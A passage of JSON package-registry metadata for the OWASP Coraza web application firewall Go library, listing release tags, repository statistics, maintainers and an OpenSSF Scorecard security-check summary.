t":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"4dd0ba7542b4bfa5eed6e5f7ac7620539b9e23cc","kind":"commit","published_at":"2021-11-26T15:14:46.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"89239d658eef764d955716aa143fa08262d3cae9","kind":"commit","published_at":"2021-11-19T15:49:08.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1/manifests"},{"name":"v2.0.0-alpha.1","sha":"43e047a61dd4677c56b08b51c781d7a038e20a41","kind":"commit","published_at":"2021-11-14T20:54:59.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-alpha.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1/manifests"},{"name":"v1.2.0","sha":"5059f5bb165be760b399bd14ee7f741566f66c0c","kind":"commit","published_at":"2021-09-10T15:35:38.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"f78c89b471bee5877d6439c5aaa98c15cd75db60","kind":"commit","published_at":"2021-09-06T21:19:44.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"083a4637e7a919004c86ca0a437ec1a1d8df4e76","kind":"commit","published_at":"2021-09-01T21:44:45.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0/manifests"},{"name":"v1.0.0-beta.7","sha":"fc2e9d7a37b1d9229e6bcd8aecfc36469680ca10","kind":"commit","published_at":"2021-08-27T00:24:32.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.7","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7/manifests"},{"name":"v1.0.0-beta.6","sha":"fc63d67c7b64ca33f46159daaf62554dd62af759","kind":"commit","published_at":"2021-08-25T21:17:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6/manifests"},{"name":"v1.0.0-beta.5","sha":"2b2b7061e26b7340c983e0b0f4a2c2ca22ba76ac","kind":"commit","published_at":"2021-08-23T00:03:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5/manifests"},{"name":"v1.0.0-beta.4","sha":"f77c1bd1dd48fa80936bc4d01f767debf330eebf","kind":"commit","published_at":"2021-08-21T06:06:04.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4/manifests"},{"name":"v1.0.0-beta.3","sha":"879cf8486d69f9f573cfd2c52783b4fbc97d8c79","kind":"commit","published_at":"2021-08-18T02:20:21.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3/manifests"},{"name":"v1.0.0-beta.2","sha":"e45ecda9e6d1038fe5470360427d71047cf81be1","kind":"commit","published_at":"2021-08-09T21:53:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2/manifests"},{"name":"v1.0.0-beta.1","sha":"6ce53c5bcdfa543d4c7477b6ff81fc70be808450","kind":"commit","published_at":"2021-07-29T01:40:56.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1/manifests"}]},"repo_metadata_updated_at":"2026-09-04T10:42:13.090Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":9.345852080216646,"dependent_packages_count":6.999148183520997,"stargazers_count":null,"forks_count":null,"average":8.172500131868823},"purl":"pkg:golang/github.com/corazawaf/coraza","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/corazawaf/coraza","docker_dependents_count":1,"docker_downloads_count":24,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/corazawaf/coraza","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/corazawaf/coraza/dependencies","status":null,"funding_links":["https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","https://github.com/sponsors/OWASP"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-04T02:01:38.278Z","issues_count":183,"pull_requests_count":715,"avg_time_to_close_issue":5137980.572815534,"avg_time_to_close_pull_request":1209877.9930915372,"issues_closed_count":103,"pull_requests_closed_count":579,"pull_request_authors_count":53,"issue_authors_count":71,"avg_comments_per_issue":2.6010928961748636,"avg_comments_per_pull_request":1.511888111888112,"merged_pull_requests_count":485,"bot_issues_count":10,"bot_pull_requests_count":302,"past_year_issues_count":25,"past_year_pull_requests_count":53,"past_year_avg_time_to_close_issue":1422673.6666666667,"past_year_avg_time_to_close_pull_request":678436.4,"past_year_issues_closed_count":15,"past_year_pull_requests_closed_count":30,"past_year_pull_request_authors_count":18,"past_year_issue_authors_count":11,"past_year_avg_comments_per_issue":0.84,"past_year_avg_comments_per_pull_request":2.7735849056603774,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":12,"past_year_merged_pull_requests_count":29,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/issues","maintainers":[{"login":"M4tteoP","count":97,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":79,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":72,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"},{"login":"fzipi","count":62,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"maliming","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maliming"}],"active_maintainers":[{"login":"fzipi","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fzipi"},{"login":"M4tteoP","count":12,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/M4tteoP"},{"login":"jptosso","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jptosso"},{"login":"jcchavezs","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jcchavezs"},{"login":"maliming","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/maliming"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fcorazawaf%2Fcoraza/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540781,"maintainers_count":0,"namespaces_count":853380,"keywords_count":141351,"github":"golang","metadata":{"funded_packages_count":116144,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-16T05:07:04.246Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":4233103,"name":"github.com/corazawaf/coraza/v2","ecosystem":"go","description":"","homepage":"https://github.com/corazawaf/coraza","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/corazawaf/coraza","keywords_array":[],"namespace":"github.com/corazawaf/coraza","versions_count":12,"first_release_published_at":"2021-11-14T20:54:59.000Z","latest_release_published_at":"2022-07-25T14:33:14.000Z","latest_release_number":"v2.0.1","last_synced_at":"2026-10-15T09:17:02.831Z","created_at":"2022-04-12T22:43:31.088Z","updated_at":"2026-10-15T09:17:02.831Z","registry_url":"https://pkg.go.dev/github.com/corazawaf/coraza/v2","install_command":"go get github.com/corazawaf/coraza/v2","documentation_url":"https://pkg.go.dev/github.com/corazawaf/coraza/v2#section-documentation","metadata":null,"repo_metadata":{"id":37098580,"uuid":"267379172","full_name":"corazawaf/coraza","owner":"corazawaf","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library","archived":false,"fork":false,"pushed_at":"2026-09-22T18:27:21.000Z","size":32421,"stargazers_count":3834,"open_issues_count":125,"forks_count":358,"subscribers_count":36,"default_branch":"main","last_synced_at":"2026-09-23T13:54:57.544Z","etag":null,"topics":["coraza","coraza-waf","coreruleset","go","golang","hacktoberfest","http","modsecurity","owasp","owasp-crs","waf","web-application-firewall"],"latest_commit_sha":null,"homepage":"https://www.coraza.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/corazawaf.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"custom":"https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","github":"OWASP"}},"created_at":"2020-05-27T17:06:51.000Z","updated_at":"2026-09-23T13:32:51.000Z","dependencies_parsed_at":"2026-09-23T13:55:01.722Z","dependency_job_id":null,"html_url":"https://github.com/corazawaf/coraza","commit_stats":{"total_commits":917,"total_committers":35,"mean_commits":26.2,"dds":0.7197382769901854,"last_synced_commit":"cbf0aa7f57983b9234efec9c84c1f723c7229cd6"},"previous_names":["jptosso/coraza","jptosso/coraza-waf"],"tags_count":41,"template":false,"template_full_name":null,"purl":"pkg:github/corazawaf/coraza","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/sbom","scorecard":{"id":304568,"data":{"date":"2025-08-11","repo":{"name":"github.com/corazawaf/coraza","commit":"838d8e35d6e0e072b7372f79c95bfc661e02f265"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.7,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 6 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'checks' permission set to 'read': .github/workflows/regression.yml:86","Warn: no topLevel permission defined: .github/workflows/close-issues.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/fuzz.yml:1","Warn: no topLevel permission defined: .github/workflows/lint.yml:1","Warn: no topLevel permission defined: .github/workflows/regression.yml:1","Warn: no topLevel permission defined: .github/workflows/tinygo.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":10,"reason":"all dependencies are pinned","details":["Info:  15 out of  15 GitHub-owned GitHubAction dependencies pinned","Info:   6 out of   6 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: GoBuiltInFuzzer integration found: internal/operators/detect_sqli_test.go:19","Info: GoBuiltInFuzzer integration found: internal/operators/detect_xss_test.go:20","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decode_test.go:188","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decodeext_test.go:81","Info: GoBuiltInFuzzer integration found: internal/transformations/cmd_line_test.go:31"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":9,"reason":"1 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GO-2025-3537 / GHSA-q9f5-625g-xm39"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T21:42:12.531Z","repository_id":37098580,"created_at":"2025-08-17T21:42:12.531Z","updated_at":"2025-08-17T21:42:12.531Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37611364,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-23T02:00:07.637Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"corazawaf","name":"Coraza Web Application Firewall","uuid":"90621731","kind":"organization","description":"Coraza Web Application Firewall repositories","email":null,"website":"https://coraza.io","location":null,"twitter":"jptosso","company":null,"icon_url":"https://avatars.githubusercontent.com/u/90621731?v=4","repositories_count":13,"last_synced_at":"2023-03-04T05:10:32.118Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/corazawaf","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-14T10:20:39.268Z","updated_at":"2023-03-04T05:10:32.162Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf/repositories"},"tags":[{"name":"v3.7.0","sha":"27069d06c896be74b77b9a6c0b539a0cbfaca360","kind":"commit","published_at":"2026-04-06T03:18:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.7.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"87332e33fcaeb8ddb08ec610bdb4f823a1415b74","kind":"commit","published_at":"2026-03-31T13:01:19.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.6.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"85b20e07b78ae4c349fc6b864a4f1a4816c7da22","kind":"commit","published_at":"2026-03-27T02:23:28.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.5.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0/manifests"},{"name":"v3.4.0","sha":"9b1d1e944e147e8f0cb92877864f71b27b9c6a7d","kind":"commit","published_at":"2026-03-11T22:30:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.4.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0/manifests"},{"name":"v3.3.3","sha":"4722c9ad0d502abd56b8d6733c6b47eb4111742d","kind":"commit","published_at":"2025-03-20T14:44:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"f4de57c3a4fc05a7ad1f09f9fdc4b9b2b7d22cb3","kind":"commit","published_at":"2025-01-09T11:12:10.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"2904b9ff242e16fb9fe42be171b7bfd77028ba1e","kind":"commit","published_at":"2025-01-07T09:29:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"eda